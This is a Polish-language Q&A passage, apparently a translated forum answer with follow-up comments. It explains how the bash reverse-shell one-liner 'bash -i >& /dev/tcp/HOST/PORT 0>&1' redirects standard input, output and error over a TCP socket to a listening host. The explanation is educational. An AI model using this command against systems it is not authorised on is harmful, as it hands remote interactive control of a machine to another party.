Odpowiedzi:
Ten fragment kodu uruchamia nową interaktywną instancję bash ( bash -i
) na połączeniu TCP z określonym portem na określonym hoście, który jest tworzony na czas trwania procesu bash. Standardowe dane wyjściowe i standardowy błąd są wysyłane przez to połączenie ( >& /dev/tcp/HOST/PORT
), a standardowe dane wejściowe są odczytywane przez to połączenie ( 0>&1
- powinno być, 0<&1
ale 0>&1
też działa).
Nie odbywa się przekierowanie portów. Oczywiście, jakiś serwer TCP musi nasłuchiwać i akceptować połączenia na tym HOST: PORT, a zapora ogniowa musi przepuścić połączenie.
/dev/tcp/HOST/PORT
? Zakładałem, że zastąpiłeś imię HOST
i numer przez PORT
. W przeciwnym razie otrzymasz komunikat o błędzie z bash. Ponieważ nie wspomniałeś o żadnym komunikacie o błędzie, zakładam, że go nie widziałeś.
0<&1
części. Przeczytałem go jako „weź bash stdout ( &1
) i potokuj go do bash stdin ( 0
)”, co ma sens. Czy możesz wyjaśnić, jak działa ta część?
0<&1
oznacza połączenie tego, co jest aktualnie otwarte w deskryptorze pliku 1, z deskryptorem pliku 0. Ponieważ poprzednie przekierowanie >& /dev/tcp/HOST/PORT
połączyło fd 1 (domyślnie dla przekierowania wyjściowego) z /dev/tcp/HOST/PORT
, tj. otworzyło gniazdo TCP, duplikuje połączenie TCP do deskryptora pliku 0 (tj. to samo gniazdo jest teraz otwarte również na fd 0, różni się to od 0 </ dev / tcp / HOST / PORT, który otworzyłby inne gniazdo dla tego samego serwera).